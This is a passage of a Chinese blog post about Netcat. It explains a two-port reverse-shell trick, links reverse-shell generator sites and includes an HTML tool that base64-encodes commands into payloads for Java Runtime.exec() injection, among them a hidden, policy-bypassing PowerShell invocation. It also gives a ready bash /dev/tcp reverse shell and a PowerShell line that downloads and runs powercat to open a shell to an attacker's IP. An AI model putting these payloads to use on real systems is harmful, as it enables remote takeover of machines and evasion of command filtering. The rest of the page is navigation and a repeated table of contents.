瑞士军刀-Netcat

语句的前半部分服务端nc将shell回弹到客户端ip的第一个端口，此时客户端开启对第一个端口的监听并成功建立连接（但这里并不是交互式shell，看不到命令执行的结果），语句后半部分意思就是将用户在第一个端口建立的shell上的命令执行结果作为第二个端口的输出内容，此时用户再用客户端nc监听并连接第二个端口，这样就可以实现攻击者在第一个端口输入命令，在第二个端口就能看到命令执行的结果

这招巨好用，大家可以多看看或者下去自己试一下

2.博文总结

除此之外nc还有很多用法，不过平时用的比较多的其实就是用来监听回弹的shell，后面我也会出一期回弹shell姿势总结，大家有兴趣的也可以去了解一下，感谢大家的阅读

六：反弹shell工具

1.在线工具

https://www.revshells.com/

https://forum.ywhack.com/shell.php

2.代码

<!DOCTYPE html>
<head>
<title>java.lang.Runtime.exec() Payload Workarounds</title>
<meta charset="utf-8" />
<h1>java.lang.Runtime.exec() Payload Workarounds</h1>
<input type="radio" id="bash" name="option" value="bash" onclick="processInput();" checked><label for="bash">Bash</label>
<input type="radio" id="powershell" name="option" value="powershell" onclick="processInput();"><label for="powershell">PowerShell</label>
<input type="radio" id="python" name="option" value="python" onclick="processInput();"><label for="python">Python</label>
<input type="radio" id="perl" name="option" value="perl" onclick="processInput();"><label for="perl">Perl</label></p>
<p><textarea rows="10" style="width: 100%; box-sizing: border-box;" id="input" placeholder="Type input here..."></textarea>
<textarea rows="5" style="width: 100%; box-sizing: border-box;" id="output" onclick="this.focus(); this.select();" readonly></textarea></p>
<script>
  var taInput = document.querySelector('textarea#input');
  var taOutput = document.querySelector('textarea#output');

  function processInput() {
    var option = document.querySelector('input[name="option"]:checked').value;

    switch (option) {
      case 'bash':
        taInput.placeholder = 'Type Bash here...'
        taOutput.value = 'bash -c {echo,' + btoa(taInput.value) + '}|{base64,-d}|{bash,-i}';
        break;
      case 'powershell':
        taInput.placeholder = 'Type PowerShell here...'
        poshInput = ''
        for (var i = 0; i < taInput.value.length; i++) { poshInput += taInput.value[i] + unescape("%00"); }
        taOutput.value = 'powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc ' + btoa(poshInput);
        break;
      case 'python':
        taInput.placeholder = 'Type Python here...'
        taOutput.value = "python -c exec('" + btoa(taInput.value) + "'.decode('base64'))";
        break;
      case 'perl':
        taInput.placeholder = 'Type Perl here...'
        taOutput.value = "perl -MMIME::Base64 -e eval(decode_base64('" + btoa(taInput.value) + "'))";
        break;
      default:
        taOutput.value = ''
    }

    if (!taInput.value) taOutput.value = '';
  }

  taInput.addEventListener('input', processInput, false);
</script>
</body>
<b>Bash反弹命令：</b>
<p style="color:red;">bash -i >& /dev/tcp/IP/端口 0>&1</p>
<br>
<b>PowerShell反弹命令：</b>
<p style="color:red;">powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c IP -p 端口 -e cmd</p>
<br>
<br>
<br>
<footer>
解决执行命令时特殊字符问题
<br>
</footer>
</html>%

posted @ 2023-11-06 17:25 hkgan 阅读(78) 评论(1) 编辑收藏举报

刷新页面返回顶部

hkgan

瑞士军刀-Netcat

目录

一：Netcat简介

二：工具下载

1. windows系统

2.linux系统

三：常用参数

四：常用功能

1.连接通讯

[1]:服务端开启监听端口

[2]:客户端连接监听端口

[3]:实现连接通讯

2.文件传输

[1]:接收端开启接收

[2]:传输端开启传输

[3]:文件成功传输

3.传输shell

[1]:正向shell

[2]:反向shell

五：拓展姿势

1.奇淫巧技

2.博文总结

六：反弹shell工具

1.在线工具

2.代码

一：Netcat简介

二：工具下载

1. windows系统

2.linux系统

三：常用参数

四：常用功能

1.连接通讯

[1]:服务端开启监听端口

[2]客户端连接监听端口

[3]实现连接通讯

2.文件传输

[1]接收端开启接收

[2]传输端开启传输

[3]文件成功传输

3.传输shell

[1] 正向shell

[2]反向shell

五：拓展姿势

1.奇淫巧技

2.博文总结

六：反弹shell工具

1.在线工具

2.代码

公告